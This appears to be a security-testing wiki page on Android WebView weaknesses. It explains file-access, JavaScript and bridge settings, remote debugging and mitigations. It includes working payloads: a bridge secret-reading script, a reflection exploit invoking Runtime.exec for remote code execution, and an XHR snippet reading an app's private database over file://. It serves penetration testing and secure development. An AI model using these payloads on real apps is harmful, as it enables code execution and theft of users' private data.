Webview Attacks

Interesting Configurations

File Access

WebView file access is enabled by default. Since API 3 (Cupcake 1.5) the method setAllowFileAccess() is available for explicitly enabling or disabling it. If the application has android.permission.READ_EXTERNAL_STORAGE it will be able to read and load files from the external storage. The WebView needs to use a File URL Scheme, e.g., file://path/file, to access the file.

Universal Access From File URL (Deprecated)

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from any origin. This includes access to content from other file scheme URLs or web contexts. Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to launch cross-site scripting attacks, either accessing arbitrary local files including WebView cookies, app private data or even credentials used on arbitrary web sites.

In summary this will prevent loading arbitrary Origins. The app will send the URL request lo load the content with Origin: file:// if the response doesn't allow that origin (Access-Control-Allow-Origin: file://) then the content won't be loaded. The default value is false when targeting Build.VERSION_CODES.JELLY_BEAN and above.

Using loadDataWithBaseURL() with null as baseURL will also prevent to load local files even if all the dangerous settings are enabled.

File Access From File URLs (Deprecated)

Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.

Don't enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a file:// context to access arbitrary local files including WebView cookies and app private data.

In summary, this prevents javascript to access local files via file:// protocol. Note that the value of this setting is ignored if the value of getAllowUniversalAccessFromFileURLs() is true. The default value is false when targeting Build.VERSION_CODES.JELLY_BEAN and above.

File Access

Enables or disables file access within WebView. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android_asset and file:///android_res.

In summary, if disable, the WebView won't be able to load a local file with the file:// protocol. The default value isfalse when targeting Build.VERSION_CODES.R and above.

WebViewAssetLoader

Helper class to load local files including application's static assets and resources using http(s):// URLs inside a WebView class. Loading local files using web-like URLs instead of "file://" is desirable as it is compatible with the Same-Origin policy.

This is new recommended way to load local files. The goal is to access local files using a HTTP URL with the domain. This way the CORS can be easily maintained between the local web pages and the web pages that are downloaded from the web server.

Javascript Enabled

WebViews have Javascript disabled by default. The method setJavaScriptEnabled() is can explicitly enabling or disabling it. Note that webviews can also support the intent scheme that allows to fire other applications. Read this writeup to find how to go from XSS to RCE.

Javascript Bridge

Android offers a way for JavaScript executed in a WebView to call and use native functions of an Android app (annotated with @JavascriptInterface) by using the addJavascriptInterface method. This is known as a WebView JavaScript bridge or native bridge.

Please note that when you use addJavascriptInterface, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.

Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are vulnerable to a flaw in the implementation of addJavascriptInterface: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).

Static Analysis

//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

With access to the JavaScript code, via, for example, via stored XSS, MITM attack or a malicious website that is loaded inside the WebView, can directly call the exposed Java methods.

Note that in the case of trying to exploit this vulnerability via an Open Redirect to an attackers web page that access the Native Android Objet. If the access to the redirection is done via a mobile browser and not using the same WebView, the browser won't be able to access the native Android object.

If addJavascriptInterface is necessary, take the following considerations:

  • Only JavaScript provided with the APK should be allowed to use the bridges, e.g. by verifying the URL on each bridged Java method (via WebView.getUrl).

  • No JavaScript should be loaded from remote endpoints, e.g. by keeping page navigation within the app's domains and opening all other domains on the default browser (e.g. Chrome, Firefox).

  • If necessary for legacy reasons (e.g. having to support older devices), at least set the minimal API level to 17 in the manifest file of the app (<uses-sdk android:minSdkVersion="17" />).

Javascript Bridge to RCE via Reflection

As noted in this research (check it for ideas in case you obtain RCE) **once you found a JavascriptBridge it may be possible to obtain RCE via Reflection** using a payload like the following one:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

However modern applications may use the @JavascriptInterface annotation that indicates to the JavascriptBridge that only the method with this annotation should be exposed. In that scenario, you won't be able to abuse Reflection to execute arbitrary code.

Remote Debugging

Renote WebView debugging allow to access the webview with the Chrome Developer Tools. The device needs to be accessible by the PC (via USB, local emulator, local network...) and running the debuggable WebView, then access chrome://inspect/#devices:

Select inspect and a new window will be opened. In this Windows you can interact with the content of the WebView and even make it execute arbitrary JS code from the console tab:

In order to enable WebView Remote Debugging you can do something like:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}

This setting applies to all of the application's WebViews.

WebView debugging is not affected by the state of the debuggable flag in the application's manifest. If you want to enable WebView debugging only when debuggable is true, test the flag at runtime.

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Payloads

Exfiltrate arbitrary files

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

References

Last updated